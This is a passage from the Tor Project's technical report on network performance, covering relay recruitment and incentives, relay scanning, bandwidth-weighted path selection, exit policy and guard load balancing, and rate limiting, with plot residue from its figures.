volunteers willing to run relays. Karsten’s latest metrics1 show that while the number of relays in other countries held steady or went up during 2008, the numbers in Germany went down over the course of 2008. On the other hand, the total amount of bandwidth provided by German relays held steady during 2008 – so while other operators picked up the slack, we still lost overall diversity of relays. These results tell us where to focus our efforts. 3.1.2 Better support for relay operators Getting somebody to set up a relay is one thing; getting them to keep it up is another thing entirely. We lose relays when the operator reboots and forgets to set up the relay to start on boot. We lose relays when the operator looks through the website and doesn’t find the answer to a question. We’ve been working on a new service for relay operators called Tor Weather2. The idea is that once you’ve set up your relay, you can subscribe to get an email whenever it goes down. We need to work on the interface more, for example to let people subscribe to various levels of notification, but the basic idea seems like a very useful one. With Tor Weather you can also subscribe to watch somebody else’s relay; so this service should tie in well for the people doing advocacy, to let them focus their follow-ups when a relay they helped set up disappears. We are also considering setting up a mailing list exclusively for relay operators, to give them a better sense of community, to answer questions and concerns more quickly, etc. We should also consider offering paid or subsidized support options so relay operators have a place to go for help. Corporations and universities running relays could get direct phone, email, or IM support options. 3.1.3 A Facebook app to show off your relay We’re currently developing a Facebook application that will allow relay operators to link their Tor relays to their Facebook profile. Volunteers who desire can therefore publicly get credit for their contribution to the Tor network. This would raise awareness for Tor, and encourage others to operate relays. Opportunities for expansion include allowing relay operators to form “teams”, and for these teams to be ranked on the contribution to the network. (Real world examples here include the SETI screensaver and the MD5 hash crack challenges.) This competition may give more encouragement for team members to increase their contribution to the network. Also, when one of the team members has their relay fail, other team members may notice and provide assistance on fixing the problem. 3.1.4 Look for new ways to get people to run relays We are not primarily social engineers, and the people that we are good at convincing to set up relays are not a very huge group. We need to keep an eye out for more creative ways to encourage a broader class of users to realize that helping out by operating a relay will ultimately be something they want to do. 3.2 Funding more relays directly Another option is to directly pay hosting fees for fast relays (or to directly sponsor others to run them). The main problem with this approach is that the efficiency is low: at even cheap hosting rates, the cost of a significant number of new relays grows quickly. For example, if we can find 100 non-exit relays providing 1https://www.torproject.org/projects/metrics 2https://weather.torproject.org/ 8 Performance Improvements on Tor 1MB/s for as low as $100/mo (and at that price it’d be renting space on a shared server, with all the resource sharing hassles that comes with), that’s $120k per year. Figure some more for maintenance and coordination, the overhead to find 100 locations that are on sufficiently different networks and administrative zones, etc. The amount of work involved in running them as exit relays might be a few times this cost, due to higher hosting fees, more effort involved in establishing and maintaining the right relationships, having lawyers nearby, etc. Plus the costs just keep coming, month after month. Overall, it seems more sustainable to invest in better code, and community outreach and education. Impact: Medium. Effort: High. Risk: Low. Plan: If we end up with extra funding, sure. Otherwise, I think our time and effort are better spent on design and coding that will have long-term impact rather than be recurring costs. 3.3 Handling fast Tor relays on Windows Advocating that users set up relays is all well and good, but if most users are on Windows, and Tor doesn’t support fast relays on Windows well, then we’re in a bad position. Nick has been adapting libevent so it can handle a buffer-based abstraction rather than the traditional Unix-style socket-based abstraction. Then we will modify Tor to use this new abstraction. Nick’s blog post3 provides more detail. Impact: Medium. Effort: High, but we’re already halfway through. Risk: Low. Plan: Keep at it. We’re on schedule to get a test version (one that works for Nick) out in September 2009. Then iterate until it works for everybody. 3.4 Relay scanning to find overloaded relays or broken exits Part of the reason that Tor is slow is because some of the relays are advertising more bandwidth than they can realistically handle. These anomalies might be due to bad load balancing on the part of the Tor designers, bad rate limiting or flaky network connectivity on the part of the relay operator, or malicious intent. Similarly, some exit relays might fail to give back the ‘real’ content, requiring users to repeat their connection attempts. Mike has been working on tools to identify these relays: SpeedRacer4 and SoaT5. Once the tools are further refined, we should be able to figure out if there are general classes of problems (load balancing, common usability problems, etc) that mean we should modify our design to compensate. The end goal is to get our tools to the point where they can automatically tell the directory authorities to leave out certain misbehaving relays in the network status consensus, and/or adjust the bandwidths they advertise for each relay. Impact: Low. Effort: Medium. Risk: Low. Plan: Keep at it. We’re on schedule to get a test version (that works for Mike) out in mid 2009. Then iterate until it works for everybody. 3https://blog.torproject.org/blog/some-notes-progress-iocp-and-libevent 4https://svn.torproject.org/svn/torflow/trunk/README.PerfMeasurements 5https://svn.torproject.org/svn/torflow/trunk/NetworkScanners/README.ExitScanning 9 Performance Improvements on Tor 3.5 Getting dynamic-IP relays back into the relay list quickly Currently there is a delay of 2-5 hours between when a relay changes its IP address and when that relay gets used again by clients. This delay causes two problems: relays on dynamic IP addresses will be underutilized (contributing less to the total network capacity than they could), and clients waste time connecting to relay IP addresses that are no longer listening. There are several approaches that can mitigate this problem by notifying clients sooner about IP address changes. The first approach is to continue on our path of simplifying directory information (see Section 6.1): if we can put out “diffs” of the network status more often than once an hour, clients can get updated quicker. A second approach is for each relay to estimate how volatile its IP address is, and advertise this in its descriptor. Clients then ignore relays with volatile IP addresses and old descriptor. Similarly, directory authorities could prioritise the distribution of updated IP addresses for freshly changed relays. As a last note here, we currently have some bugs that are causing relays with dynamic IP addresses to fall out of the network entirely. If a third to half of the relays are running on dynamic IP addresses, that’s really bad. Impact: Low-medium. Effort: Low-medium. Risk: Low. Plan: Track down and fix bugs for Tor 0.2.2.x. Continue simplifying directory information so we can get new info to clients quicker. 3.6 Incentives to relay Our blog post on this topic6 explains our work to-date on this topic. The current situation is that we have two designs to consider: one that’s quite simple but has a serious anonymity problem, and one that’s quite complex. I think we should move forward with the first (simple but flawed) design. There are several pieces to moving it forward. The first phase is changing Tor’s queueing mechanisms to be able to give some circuits priority over others. This step also ties into the other development items in this document regarding cell-, circuit-, and connection-priorities. The second phase is then redesigning the “gold star” mechanism so the priority earned by relays lasts long enough that there’s a sufficient anonymity set for them. We’ll need to look at current and projected network metrics to discover a good upper bound on relay churn. The question to answer is: “What period of time, taken as a rolling snapshot of which relays are present in the network, guarantees a sufficiently large anonymity set for high-priority relays?” Hopefully the answer is something like 7 or 14 days. There are other missing pieces in there, like “what do we mean by sufficiently?”, that we’ll just have to guess about. The third phase is to actually sort out how to construct and distribute gold-star cryptographic certificates that entry relays can verify. Notice that with the new certificates approach, we can reward users who contribute to the network in other ways than running a fast public relay – examples might include top sponsors, users who run stable bridge relays, translators, people who fix bugs, etc. Impact: Medium-high. Effort: Medium-high. Risk: Medium-high: if we screw up the balance of our community-oriented infrastructure, we might end up hurting more than we help. Plan: Accomplishing the three phases above will put us in a much better position to decide whether to deploy this idea. At the same time, the more complex options might become more within reach as other research teams investigate and refine them, so we should keep an eye on them too. 6https://blog.torproject.org/blog/two-incentive-designs-tor 10 Performance Improvements on Tor 3.7 Reachable clients become relays automatically Even if we don’t add in an incentive scheme, simply making suitable users into relays by default should do a lot for our capacity problems. We’ve made many steps toward this goal already, with automated reachability testing, bandwidth esti- mation, UPnP support built in to Vidalia, and so on. There are a few risks here though. First, relaying traffic could introduce anonymity vulnerabilities, and we need to learn more about that first. (That’s on the roadmap for 2009.) Second, making clients into relays by default could make some users upset. Third, this approach could change how sysadmins view Tor. By putting ourselves into the same category as Skype, we would scale up the “blocking Tor connections” arms race by a level that’s hard to predict. Also, we need to finish deployment of Section 3.3 before we can roll this out, or we’ll just make a bunch of Windows machines crash. We had originally been avoiding the “everybody a relay” design until we had a better plan for scaling the directory to be able to distribute tens of thousands of relay addresses. I think these two plans are not as related as we first thought, though. For example, a very simple answer for what to do if we get more relays than our current directory scheme can handle is to publish only the best relays, for some metric of best that considers capacity, expected uptime, etc. That should be a perfectly adequate stopgap measure. The step after that would be to consider splintering the network into two networkstatus documents, and clients flip a coin to decide which they use. Ultimately, if we are so lucky as to get into the position of having too many relays, we’ll want to look at the distribution and properties of the relays we have when deciding what algorithms would best make use of them. Impact: High. Effort: Medium, now that we’ve done a lot of hard work already. Risk: Medium. Plan: Wrap up our investigations into the anonymity implications of being a relay, at the same time as working on a plan for exactly how the Tor client should decide if it’s suitable for elevation to relay status. This is going to happen, it’s just a matter of how soon. 4 Tor clients choose paths imperfectly Even when we sort out the congestion control issues, the problem of users abusing the network with too much traffic, and the question of overall capacity, we still face a fourth problem. Users need to choose their paths in such a way that everybody is using the network efficiently. Right now, Tor relays estimate their capacity by observing the largest traffic burst they’ve seen themselves do in the past day. They advertise that bandwidth capacity in the directory information, and clients weight their path selection by the bandwidth of each relay. For example, a relay that advertises 100KB/s peak bandwidth will be chosen twice as often as a relay that advertises 50KB/s peak bandwidth. There are several problems with our current algorithm that are worth fixing. 4.1 We don’t balance traffic over our bandwidth numbers correctly Selecting relays with a probability proportional to their bandwidth contribution to the network may not be the optimal algorithm. Murdoch and Watson [10] investigated the performance impact of different relay selection algorithms, and came up with a model to describe the optimal path selection strategies based on how loaded the network is. Tor’s current selection strategy is optimal when the network is fully loaded. That is, if every single byte is going to be used, then weighting by capacity is the right way to do it. But if the network is not fully loaded, then the fast relays end up with less load than the slow relays. To compensate, clients should pick faster relays with higher probability. 11 Performance Improvements on Tor In particular, we can estimate the network load because all Tor relays publish both their capacity and usage in their relay descriptor (but see Section 4.2 for problems that crop up there). The Tor network is currently loaded at around 50%. This level is much higher than most reasonable networks, indicating that our plan in Section 3 to get more overall capacity is a good one. But 50% is quite far from 100% when it becomes to optimal load balancing. To find the optimum relay selection probabilities the model, Steven used a hill-climbing algorithm to minimize network latency, with a Tor directory snapshot as input. The results (shown in Figure 1 and Figure 2) depend on the network load relative to overall capacity. As load approaches capacity, the optimum selection probabilities converge to the one currently used by Tor: relay bandwidth proportional to network capacity. However, as load drops, the optimized selection algorithm favors slow relays less and faster relays more; many relays are not used at all. Anecdotal evidence supports the theory that the fast relays in the Tor network have more spare capacity than they should. Several users have posted that they get much better Tor performance if they hard-code their paths to only use the fastest ten relays (and ignore the huge anonymity implications, of course). The relay selection probabilities in these graphs are tuned to a particular level of network load. Figure 3 shows how average network latency is affected by relay selection probabilities, for different levels of network load. For all load levels examined, the optimized selection probabilities offer lower latency when compared to Tor’s current selection algorithm. However, there’s a downside to tailoring for a particular load level: if we see a much heavier load in practice than the one we had in mind when we tuned our selection biases, then we end up overbalancing the network in the other direction. Specifically, each probability distribution has a cut-off point at which (according to the model) at least one relay will have a higher load than its capacity, at which its queue length, and hence latency, will become infinite. For the optimized selection probability distributions, this cut-off point is a few percent above the level they were designed to operate at. For Tor’s current selection algorithm, it is when the overall network capacity equals the overall network load. In this respect the Tor selection algorithm reaches the theoretical optimum, as no network can operate at greater than 100% utilization while maintaining finite latency. However, in a real instantiation of any of these alternative probability distributions, the network latency would not become infinite; instead a connection would time out and a different circuit would be selected. So in practice, if the wrong probability distribution was selected, the network would converge at a different one. Unfortunately the standard queuing theory models cannot handle this case; we need to move to a simulation rather than using equations and assumptions, to estimate the real effect. Impact: Low-medium. Effort: Medium, since we still need to get a better sense of the correct network load to expect, and we need to experiment to see if the model actually matches reality. Risk: Low, since we can always back out the changes. Plan: It seems clear that some adjustments should be done in terms of biasing selection toward the faster relays. The exact load level to anticipate remains an open question though. Fortunately, in our new networkstatus algorithm, the directory authorities declare the bandwidths for each relay. So we can just reweight them on the fly and clients will use the new numbers. That means once enough clients have upgraded to using the bandwidths specified in the networkstatus, we can start to experiment with shifting the biases and see what results we get. 4.2 The bandwidth estimates we have aren’t very accurate Weighting relay selection by bandwidth only works if we can accurately estimate the bandwidth for each relay. Snader and Borisov [15] examined three strategies for estimating the bandwidth for each relay. The first strategy was Tor’s current approach of looking for peaks in the actual bytes it’s handled in the past day. The second strategy was active probing by the directory authorities. For their third strategy, they proposed that 12 Performance Improvements on Tor GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG GGGGGG GGGGG G GG G G G GG G 0 2000 4000 6000 8000 0.000 0.010 0.020 0.030 Bandwidth (cells/s) Selection probability GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG GGGGGG GGGGG G GG G G G GG G GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG GGGGGG GGGGG G GG G G G GG G GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG GGGGGG GGGGG G GG G G G GG G GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG GGGGGG GGGGG G GG G G G GG G GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG GGGGGG GGGGG G GG G G G GG G Optimum node selection probability 50% 75% 90% >99% Figure 1: Optimum relay selection probabilities for a variety of network loads. Tor is currently at around 50% utilization. The relay selection probabilities currently used by Tor are shown in black. 13 Performance Improvements on Tor GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG GGGGGG GGGGG G GG G G G GG G 0 2000 4000 6000 8000 0.000 0.005 0.010 0.015 Bandwidth (cells/s) Selection probability − Tor's selection probability GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG GGGGGG GGGGG G GG G G G GG G GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG GGGGGG GGGGG G GG G G G GG G GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG GGGGGG GGGGG G GG G G G GG G GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG GGGGGG GGGGG G GG G G G GGG G GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG GGGGGG GGGGG G GG G G G GG G Selection probabilility compared to Tor 50% 75% 90% >99% Figure 2: Difference between Tor’s current relay selection probabilities and the optimum, for a variety of network loads. For Tor’s current network load (≈ 50%) shown in pink, the slowest relays are not used at all, and the slower relays are favoured less. 14 Performance Improvements on Tor 0 20 40 60 80 100 0 5 10 15 Latency for varying network loads Network load (%) Average queuing delay (ms) G G G G Figure 3: Average network latency against network load. Three relay selection probabilities are shown, optimized for 50%, 75%, and 90% network load. The Tor relay selection algorithm is also included (black). The dots on the x axis show the level of network load at which the relay selection probability distributions are optimized for. The line is cut off when the model predicts that at least one relay will have an infinite queue length, which occurs before load = capacity for all relay selection algorithms except for Tor’s current one. 15 Performance Improvements on Tor each Tor relay opportunistically monitor the data rates that it achieves when communicating with other Tor relays. Since currently Tor uses a clique topology, given enough time, all relays will communicate with all other Tor relays. If each Tor relay reports their measurements back to the directory authorities, then the median report should be a good estimate of that relay’s bandwidth. As a bonus, this estimate should be difficult to game, when compared to the current approach of self-advertising bandwidth capacity. Experiments show that opportunistic bandwidth measurement has a better systematic error than Tor’s current self-advertised measure, although has a poorer log-log correlation (0.48 vs. 0.57). The most accurate scheme is active probing of capacity, with a log-log correlation of 0.63, but this introduces network overhead. All three schemes suffer from fairly poor accuracy. Perhaps this inaccuracy is due to some relays with high variance in bandwidth capacity? We need to explore this area more to understand why our estimates are not as good as they could be. Impact: Low-medium. Effort: Medium, since we still need to get a better sense of the correct network load to expect, and we need to experiment to see if the model actually matches reality. Risk: Low, since we can always back out the changes. Plan: More research remains here to figure out what algorithms will actually produce more accurate bandwidth estimates. As with Section 4.1 above, once we do have some better numbers, we can change the weights in the directory, and clients will immediately move to the better numbers. We should also experiment with augmenting our estimates with active probes from Mike’s SpeedRacer tool. 4.3 Bandwidth might not even be the right metric to weight by The current Tor network selection algorithm biases purely by bandwidth. This approach will sometimes cause high latency circuits due to multiple ocean crossings or otherwise congested links. An alternative approach would be to not only bias selection of relays based on bandwidth, but to also bias the selection of hops based on expected latency. Micah Sherr is finishing his PhD thesis at Penn under Matt Blaze, exploring exactly this issue. In the past we’ve avoided any sort of path selection algorithm that requires pairwise measurements of the network, because communicating N 2 measurements to clients would take too much bandwidth. Micah solves this problem by using a virtual coordinate system – a three or four dimension space such that distance between relays in the virtual coordinate space corresponds to the network latency (or other metric) between them. His experiments show that we could see a significant speedup in the Tor network if users choose their paths based on this new relay selection algorithm. More research remains, of course, but the initial results are very promising. On the other hand, reducing the number of potential paths would also have anonymity consequences, and these would need to be carefully considered. For example, an attacker who wishes to monitor traffic could create several relays, on distinct /16 subnets, but with low latency between them. A Tor client trying to minimize latency would be more likely to select these relays for both entry than exit than it would otherwise. This particular problem could be mitigated by selecting entry and exit relay as normal, and only using latency measurements to select the middle relay. Impact: Medium-high. Effort: Medium-high, since we first need to sort out how effective the algorithm is, and then we need to figure out a migration plan. Risk: Medium, since a new selection algorithm probably carries with it a new set of anonymity-breaking papers that will only come out a few years after we deploy. Plan: Micah is going to write a design proposal for getting relays to compute and maintain their virtual coordinates based on latency. Once we deploy that, we’ll have some actual data points, and we’ll be in a better position to simulate whether the idea will help in reality. Counting deployment time, that means we probably won’t have clients using this scheme until 2010. 16 Performance Improvements on Tor 4.4 Considering exit policy in relay selection When selecting an exit relay for a circuit, the Tor client will build a list of all exit relays which can carry the desired stream, then select from them with a probability weighted by each relay’s capacity7. This means that relays with more permissive exit policies will be candidates for more circuits, and hence will be more heavily loaded compared to relays with restrictive policies. Figure 4 shows the exit relay capacity for a selection of port numbers. It can be clearly seen that there is a radical difference in the availability of relays for certain ports (generally those not in the default exit policy). Any traffic to these ports will be routed through a small number of exit relays, and if they have a permissive exit policy, they will likely become overloaded from all the other traffic they receive. The extent of this effect will depend on how much traffic in Tor is to ports which are not in the default exit policy. The overloading of permissive exit relays can be counteracted by adjusting the selection probability of a relay based on its exit policy and knowledge of the global network load per-port. While it should improve performance, this modification will make it easier for malicious exit relays to select traffic they wish to monitor. For example, an exit relay which wants to attack SSH sessions can currently list only port 22 in its exit policy. Currently they will get a small amount of traffic compared to their capacity, but with the modification they will get a much larger share of SSH traffic. (On the other hand, a malicious exit relay could already do this by artificially inflating its advertised bandwidth capacity.) To properly balance exit relay usage, it is necessary to know the usage of the Tor network, by port. McCoy et al. [6] have figures for protocol usage in Tor, but these figures were generated through deep packet inspection, rather than by port number. Furthermore, the exit relay they ran used the fairly permissive default exit policy. Therefore, their measurements will underestimate the relative traffic on ports which are present in the default exit policy, and are also present in more restrictive policies. To accurately estimate the Tor network usage by port, it is necessary to measure the network usage by port on one or more exit relays, while simultaneously recording the exit policy of all other exit relays considered usable. We could instead imagine more crude approaches. For example, in Section 3.4 we suggest using a tool like SpeedRacer or SoaT to identify relays that are overloaded. We could then either instruct clients to avoid them entirely, or reduce the capacity associated with that relay in the directory status to reduce the attention the relay gets from clients. Then we could avoid the whole question of why the relays are overloaded. On the other hand, understanding the reasons for load hotspots can help us resolve them at the architectural level. Impact: Low-medium. Effort: Low-medium. Risk: Low. Plan: When we’re gathering statistics for metrics, we should make a point of gathering some anonymized data about destination ports seen by a few exit relays. Then we will have better intuition about whether we should solve this by reweighting at the clients, reweighting in the directory status, or ignoring the issue entirely. 4.5 Older entry guards are overloaded While the load on exit relays is skewed based on having an unusual exit policy, load on entry guards is skewed based on how long they’ve been in the network. Since Tor clients choose a small number of entry guards and keep them for several months, a relay that’s been listed with the Guard flag for a long time will accumulate an increasing number of clients. A relay that just earned its Guard flag for the first time will see very few clients. To combat this skew, clients should rotate entry guards every so often. We need to look at network performance metrics and discern how long it takes for the skew to become noticeable – it might be that 7The actual algorithm is slightly more complex: in particular, exit relays which are also guard relays will be weighted less, and some circuits are created preemptively without any destination port in mind. 17 Performance Improvements on Tor 22 25 80 119 135 443 563 8080 6667 Port number Exit capacity available (%) 0 20 40 60 80 100 Nodes Bandwidth Figure 4: Exit relay capacity, in terms of number of relays and advertised bandwidth for a selection of port numbers. 18 Performance Improvements on Tor rotating to a new guard after a week or two is enough to substantially resolve the problem. We also need to consider the added risk that higher guard churn poses versus the original attack they were designed to thwart [11], but I think a few weeks should still be plenty high. At the same time, there are fewer relays with the Guard flag than there should be. While the Exit flag really is a function of the relay’s exit policy, the required properties for entry guards are much more vague: we want them to be “fast enough”, and we want them to be “likely to be around for a while more”. I think the requirements currently are too strict. This scarcity of entry guards in turn influences the anonymity the Tor network can provide, since there are fewer potential entry points into the network. Impact: High. Effort: Low. Risk: Low. Plan: We should do it, early in Tor 0.2.2.x. We’ll need proposals first, both for the “dropping old guards” plan (to assess the tradeoff from the anonymity risk) and for the “opening up the guard criteria” plan. 5 Clients need to handle variable latency and failures better The next issue we need to tackle is that Tor clients aren’t as good as they should be at handling high or variable latency and connection failures. First, we need ways to smooth out the latency that clients see. Then, for the cases where we can’t smooth it out enough, we need better heuristics for clients to automatically shift away from bad circuits, and other tricks for them to dynamically adapt their behavior. 5.1 Our round-robin and rate limiting is too granular Tor’s rate limiting uses a token bucket approach to enforce a long-term average rate of incoming and out- going bytes, while still permitting short-term bursts above the allowed bandwidth. Each token represents permission to send another byte onto the network (or read from the network). Every second new tokens are added, up to some cap (the bucket size). So Tor relays that have cells buffered waiting to go out onto the network will wait until the new second arrives, and then deliver as many cells as they can. In practice, this behavior results in traffic ‘bumps’ at the beginning of each second, with little network traffic the rest of the time. Mike and Karsten have been collecting data from circuit extension times (how long it takes to establish each hop of a circuit); the bumps are easily seen in Figure 5. Our original theory when designing Tor’s rate limiting was that one-second granularity should be suffi- cient: cells will go out as quickly as possible while the bucket still has 